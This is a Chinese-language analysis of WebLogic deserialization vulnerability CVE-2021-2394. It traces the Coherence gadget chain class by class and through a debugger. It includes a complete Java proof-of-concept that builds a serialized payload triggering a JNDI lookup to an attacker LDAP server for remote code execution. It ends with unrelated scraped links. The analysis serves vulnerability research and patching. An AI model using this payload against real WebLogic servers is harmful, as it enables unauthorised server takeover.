weblogic漏洞分析之CVE-2021-2394
weblogic漏洞分析之CVE-2021-2394
简介
Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。
这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。
影响版本:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
前置知识
为了更好的理解漏洞,我将介绍漏洞中涉及的每一个类的作用,再将所有类串起来形成调用链
ExternalizableLite接口
Coherence 组件中存在一个 com.tangosol.io.ExternalizableLite
,它继承了 java.io.Serializable
,另外声明了 readExternal
和 writeExternal
这两个方法。
ExternalizableHelper类
ExternalizableHelper
类可以将实现上面ExternalizableLite
接口的类进行序列化和反序列化操作,在反序列化操作中,会调用ExternalizableHelper#readObject
如上图,在ExternalizableHelper#readObject
中,会调用readObjectInternal
方法,此方法会根据要还原类的类型,选择对应的方法进行解析,对于实现 com.tangosol.io.ExternalizableLite
接口的对象,会进入到 readExternalizableLite
方法:
在readExternalizableLite
方法中,会根据类名加载类,然后并且实例化出这个类的对象,然后调用它的 readExternal()
方法。
JdbcRowSetImpl类
此类中getDatabaseMetaData
方法会调用this.connect
而this.connect
则调用了InitialContext#lookup
,如果this.getDataSourceName()
为恶意uri,则可以产生JNDI注入
MethodAttributeAccessor类
此类中有一个getAttributeValueFromObject
方法,在getAttributeValueFromObject
方法中,可以调用invoke
来执行任意方法,前提是三个参数可控getMethod、anObject、parameters
AbstractExtractor类
此类的compare
方法会调用this.extract
FilterExtractor类
此类是整个漏洞绕过上一个补丁的关键类,它实现了ExternalizableLite
接口,并且父类是AbstractExtractor
在此类中有两个比较重要的方法,首先来看第一个extract
方法,此方法会调用attributeAccessor
的getAttributeValueFromObject
方法
第二个是readExternal
方法
此方法调用了SerializationHelper#readAttributeAccessor
来从序列化数据中还原this.attributeAccessor
的值
跟进readAttributeAccessor
方法,可以看到是自己new
了一个MethodAttributeAccessor
对象,这里就是绕过补丁的关键
TopNAggregator$PartialResult类
TopNAggregator$PartialResult
是一个静态内部类,也实现了ExternalizableLite
接口,里面有个readExternal
方法
在readExternal
方法中也是调用的ExternalizableHelper
进行还原每一个元素,170行还原了m_comparator
后,到172行调用了instantiateInternalMap
方法并且传入了还原的m_comparator
,跟进instantiateInternalMap
这里首先new
了一个SortedBag.WrapperComparator
,传入comparator
,跟进WrapperComparator
可以看到把comparator
的值赋予给了this.f_comparator
之后把new
出来的SortedBag.WrapperComparator
对象传入了TreeMap
构造方法,跟进TreeMap
构造方法
在TreeMap
构造方法只是对comparator
的一个赋值,把刚刚的SortedBag.WrapperComparator
对象传递给了this.comparator
回到TopNAggregator$PartialResult
类,最终的把TreeMap
对象赋值给了this.m_map
,接下来看176行的this.add
跟进add
方法看到调用了父类的add
跟进其父类SortedBag
类的add
,在父类add
方法中,调用了map.put
,而这里的map
就是上面的TreeMap
对象
TreeMap类
在TreeMap
类中,其put
方法会调用compare
在compare
中调用了comparator.compare
,此处的comparator
是在上个内部类中赋予的值SortedBag.WrapperComparator
类
SortedBag$WrapperComparator类
此类的compare
方法会调用this.f_comparator.compare
AttributeHolder类
这个是整个漏洞的入口,在此类中实现了readExternal
方法,在还原this.m_oValue
值时候会调用ExternalizableHelper.readObject
漏洞分析
先上gadget:
AttributeHolder#readExternal
ExternalizableHelper#readObject
ExternalizableHelper#readExternalizableLite
TopNAggregator$PartialResult#readExternal
TopNAggregator$PartialResult#add
SortedBag#add
TreeMap#put
SortedBag$WrapperComparator#compare
FilterExtractor#compare
FilterExtractor#extract
MethodAttributeAccessor#getAttributeValueFromObject
Method.invoke
JdbcRowSetImpl#getDatabaseMetaData
InitialContext#lookup
POC用Timeline Sec团队的:
import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws Exception {
String ldapurl="ldap://192.168.202.1:1389/2rp7lc";
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("yangyang");
accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection");
Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
DeclaredConstructor.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance();
jdbcRowSet.setDataSourceName(ldapurl);
FilterExtractor extractor = new FilterExtractor(accessor);
FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());
SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
sortedBag.add(jdbcRowSet);
Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);
AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag);
//serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(attributeHolder);
objectOutputStream.close();
//unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
public static class TLSAttributeAccessor extends AttributeAccessor {
public Object getAttributeValueFromObject(Object o) throws DescriptorException {
return this.attributeName;
}
public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
this.attributeName = "yangyang";
}
}
}
在objectIntputStream.readObject();
处下断点
跟进到AttributeHolder#readExternal
,这里使用了ExternalizableHelper
从序列化数据中还原this.m_oValue
跟进ExternalizableHelper#readObject
,调用了readObjectInternal
在readObjectInternal
中,判断nType
的值,进入readExternalizableLite
来处理
在readExternalizableLite
中,先实例化了TopNAggregator$PartialResult
类,然后调用了它的readExternal
方法
跟进到TopNAggregator$PartialResult
的readExternal
方法,开始依次还原几个变量,先看还原第一个m_comparator
跟进ExternalizableHelper#readObject
到readExternalizableLite
方法,实例化出了FilterExtractor
对象,调用其readExternal
方法
跟进FilterExtractor#readExternal
方法,发现调用了SerializationHelper.readAttributeAccessor
方法来还原this.attributeAccessor
的值
跟进SerializationHelper.readAttributeAccessor
后,可以看到会 new
一个 MethodAttributeAccessor
对象,然后从 DataInput
中还原它的 setAttributeName
,setGetMethodName
以及 setSetMethodName
属性,最后进行返回。
回到TopNAggregator$PartialResult
的readExternal
方法中,此时this.m_comparator
已经变成了FilterExtractor
对象
接着调用到172行的instantiateInternalMap
方法,传入了this.m_comparator
在instantiateInternalMap
方法中,首先new
了一个SortedBag.WrapperComparator
,传入comparator
,跟进WrapperComparator
可以看到把comparator
的值赋予给了this.f_comparator
之后把new
出来的SortedBag.WrapperComparator
对象传入了TreeMap
构造方法,跟进TreeMap
构造方法
在TreeMap
构造方法只是对comparator
的一个赋值,把刚刚的SortedBag.WrapperComparator
对象传递给了this.comparator
回到TopNAggregator$PartialResult
类,最终的把TreeMap
对象赋值给了this.m_map
,接下来看176行的this.add
跟进add
方法看到调用了父类的add
,可以看到value
的值已经变成了JdbcRowSetImpl
跟进其父类SortedBag
类的add
,在父类add
方法中,调用了map.put
,而这里的map
就是上面的TreeMap
对象
在TreeMap
类中,其put
方法会调用compare
,此时传入的key
就是JdbcRowSetImpl
对象
在compare
中调用了comparator.compare
,此处的comparator
是在上面TreeMap
中赋予的SortedBag.WrapperComparator
类
接着进入SortedBag.WrapperComparator#compare
中,可以看到调用了FilterExtractor#compare
,其中o1、o2的值为JdbcRowSetImpl
跟进FilterExtractor#compare
中,调用了this.extract
转到this.extract
,调用了MethodAttributeAccessor#getAttributeValueFromObject
查看MethodAttributeAccessor#getAttributeValueFromObject
利用invoke
调用了JdbcRowSetImpl#getDatabaseMetaData
最终进行了lookup
,其this.getDataSourceName()
就是我们输入的LDAP地址
弹出计算器
参考
https://xz.aliyun.com/t/10052#toc-12
https://github.com/lz2y/CVE-2021-2394
weblogic漏洞分析之CVE-2021-2394的更多相关文章
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...
- weblogic漏洞分析之CVE-2016-0638
weblogic漏洞分析之CVE-2016-0638 一.环境搭建: 这里使用前一篇文章的环境,然后打上补丁 上一篇文章:https://www.cnblogs.com/yyhuni/p/151370 ...
- weblogic漏洞分析之CVE-2017-10271
weblogic漏洞分析之CVE-2017-10271 一.环境搭建 1)配置docker 这里使用vulhub的环境:CVE-2017-10271 编辑docker-compose.yml文件,加入 ...
- weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628
CVE-2017-3248 & CVE-2018-2628 后面的漏洞就是2017-3248的绕过而已,所以poc都一样,只是使用的payload不同 本机开启JRMP服务端 ->利用T ...
- weblogic之CVE-2018-3191漏洞分析
weblogic之CVE-2018-3191漏洞分析 理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html 引用廖新喜说的,说白 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
随机推荐
- a href="tel" 拨打电话
电话号码是固定的: <a href="'tel:10086">10086</a> 电话号码是动态获取时: 走默认的方式失败 <a href=" ...
- 可怕!字节跳动大牛爆出的“Android进阶指南”,强到无法形容,GitHub已标星“8.5k”!
前言 从去年8月份开始,我开始重新找工作,在这期间刷了不少面试题和大牛博客,无意中薅到一份字节跳动大牛整理的一份"Android进阶指南",包含Android面试常见问题.主流技术 ...
- 响应式编程基础教程:Spring Boot 与 Lettuce 整合
本文主要介绍响应式编程访问 Redis,以及 Spring Boot 与 Lettuce 的整合使用. Lettuce 是可扩展性线程安全的 Redis 客户端,用于同步.异步和响应式使用.如果多个线 ...
- Linux平台上转换文件编码
Linux系统的iconv指令是一个很好的文件编码转换工具,支持的编码范围广,使用方便,例如将一个utf-8编码的文件(名为tic)转换为gbk编码: iconv -f utf-8 -t gbk ti ...
- Linux中DNS分离解析
目录 一.分离解析概述 二.DNS分离解析实验 要求 实验步骤 一.分离解析概述 分离解析:同一个dns服务器,同一个域名情况下,不同网段进行访问会解析出不同的IP地址 分离解析的域名服务器实际也是主 ...
- MySQL-15-主从复制
企业高可用性标准 1 全年无故障率(非计划内故障停机) 99.9% ----> 0.001*365*24*60=525.6 min 99.99% ----> 0.0001*365*24*6 ...
- springboot:使用异步注解@Async的那些坑
springboot:使用异步注解@Async的那些坑 一.引言 在java后端开发中经常会碰到处理多个任务的情况,比如一个方法中要调用多个请求,然后把多个请求的结果合并后统一返回,一般情况下调用其他 ...
- DVWA-全等级暴力破解
之前写了dvwa的sql注入的模块,现在写一下DVWA的其他实验步骤: 环境搭建参考:https://www.freebuf.com/sectool/102661.html DVWA简介 DVWA(D ...
- Python3 * 和 ** 运算符
1.算数运算 * 代表乘法 ** 代表乘方 1>>> 2 * 52103>>> 2 ** 5432 2.函数形参 *args 和 **kwargs 主要用于函数定 ...
- HCNP Routing&Switching之OSPF网络类型
前文我们了解了PPPoE协议相关话题,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/15182512.html:今天我们聊聊一聊OSPF中的网络类型相关话题: ...